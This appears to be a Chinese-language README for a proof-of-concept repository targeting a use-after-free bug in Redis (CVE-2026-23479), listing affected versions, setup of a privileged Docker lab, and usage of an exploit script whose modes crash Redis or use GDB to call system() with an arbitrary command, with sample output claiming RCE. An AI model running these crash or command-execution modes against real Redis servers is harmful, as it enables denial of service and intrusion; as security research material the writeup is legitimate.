借助 GDB 辅助漏洞利用的概念验证(仅供教育/实验室使用)
Redis
unblockClientOnKey()中的释放后使用漏洞导致远程代码执行
借助 GDB 辅助利用的概念验证(仅供教育 / 实验环境使用)
CVE-2026-23479 是 Redis 7.2.0 至 8.6.2 版本中的一个严重 释放后使用(UAF) 漏洞。
该缺陷位于 unblockClientOnKey() 中,该函数调用 processCommandAndResetClient() 时 未检查其返回值。
如果客户端在该调用期间被释放(例如由于淘汰机制),调用方将继续操作一个悬空指针 → UAF。
能够在释放后操纵堆布局的攻击者可能实现 任意代码执行。
本仓库提供了一个 GDB 辅助的 PoC,它可以:
freeClient())来证明 UAFsystem() 调用来演示 任意命令执行⚠️ 重要提示: 这 不是 一个武器化的漏洞利用程序。它在特权 Docker 容器内使用 GDB 来 模拟 真实攻击者在成功利用该漏洞后所能达到的效果。 请 仅 在您自己的实验环境中或您拥有明确测试许可的系统上使用它。
https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea
crash、gdb、rce、full--container 传入任意容器XREAD BLOCK 命令使客户端等待流数据。pid 1)。processCommandAndResetClient 上设置断点 – 该函数在阻塞的客户端被重新处理时被调用。XADD 唤醒受害者。gdb 模式: 调用 freeClient($rdi) → 故意引发 SIGSEGV → 证明 UAF。rce 模式: 调用 system("your command") → 以 Redis 用户(默认为 root)身份执行任意 shell 命令。断点 每次 在阻塞的客户端被解除阻塞时都会触发,表明包含 UAF 的 同一代码路径 也允许代码执行。
| 分支 | 受影响范围 |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
脚本会自动解析 Redis 版本并报告其是否存在漏洞。
apt 的 Redis 8.6.2 Docker 镜像(例如官方 redis:8.6.2)--privileged 创建(ptrace 所需)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| 模式 | 描述 |
|---|---|
crash | 尝试通过内存压力触发 UAF(无需 GDB)。Redis 可能崩溃,但不保证。 |
gdb | 附加 GDB 并在断点处调用 freeClient() → 强制引发 SIGSEGV(证明 UAF)。 |
rce | 附加 GDB 并在断点处调用 system(cmd) → 在容器内执行 shell 命令。 |
full | 先运行 crash;如果 Redis 未崩溃,则回退到 gdb。 |
| 参数 | 默认值 | 描述 |
|---|---|---|
target | (必填) | Redis 服务器的 IP 地址 |
-p, --port | 6379 | Redis 端口 |
-m, --mode | full | crash、gdb、rce、full 之一 |
--container | env-redis-vuln-1 | Docker 容器名称 |
--cmd | id > /tmp/pwned_by_cve | 在 rce 模式下执行的命令 |
注意: 所有命令均从 宿主机 运行,而非 在 Docker 容器内运行。
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis 将在段错误后崩溃。
重启容器:
docker start redis-vuln-local
重启 Redis 以确保状态干净:
docker restart redis-vuln-local
运行漏洞利用程序:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
验证证明文件:
docker exec redis-vuln-local ls -l /tmp/pwned
如果成功,该文件将存在,证明:
system("touch /tmp/pwned");
已在 Redis 容器内执行。
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
如果 Redis 意外退出(容器不再运行),则很可能已触发 UAF。
使用以下命令重启:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
此模式:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
原始 PoC 硬编码了名为 env-redis-vuln-1 的容器,并且在较新版本的 Python 下执行时存在若干问题。
更新后的版本引入了以下改进:
| 问题 | 修复 |
|---|---|
| 硬编码的容器名称 | 添加了 --container 参数,并将其传递到所有函数中。 |
file 命令被放在 GDB 脚本的 commands 块内 | 将 file /usr/local/bin/redis-server 移到 attach 之前,以便 GDB 正确加载符号。 |
subprocess.run() 同时使用了 capture_output=True 和 stderr=... | 替换为 stdout=subprocess.DEVNULL 和 stderr=subprocess.DEVNULL。 |
残留的 GDB 进程导致 ptrace: Operation not permitted | 在 trigger_uaf_gdb() 和 trigger_rce() 中启动 GDB 之前添加了 pkill -9 gdb。 |
| GDB 静默失败时没有反馈 | 添加了 GDB 输出的调试日志记录,并改进了证明文件检测。 |
docker stop redis-vuln-local
docker rm redis-vuln-local
本工具 仅供教育目的、授权安全研究以及测试您拥有或已获得明确评估许可的系统使用。
作者 不 纵容或鼓励未经授权或恶意的使用。
在测试任何生产系统或第三方系统之前,请务必获得适当的授权。
用 ❤️ 为安全社区打造。
保持道德。保持安全。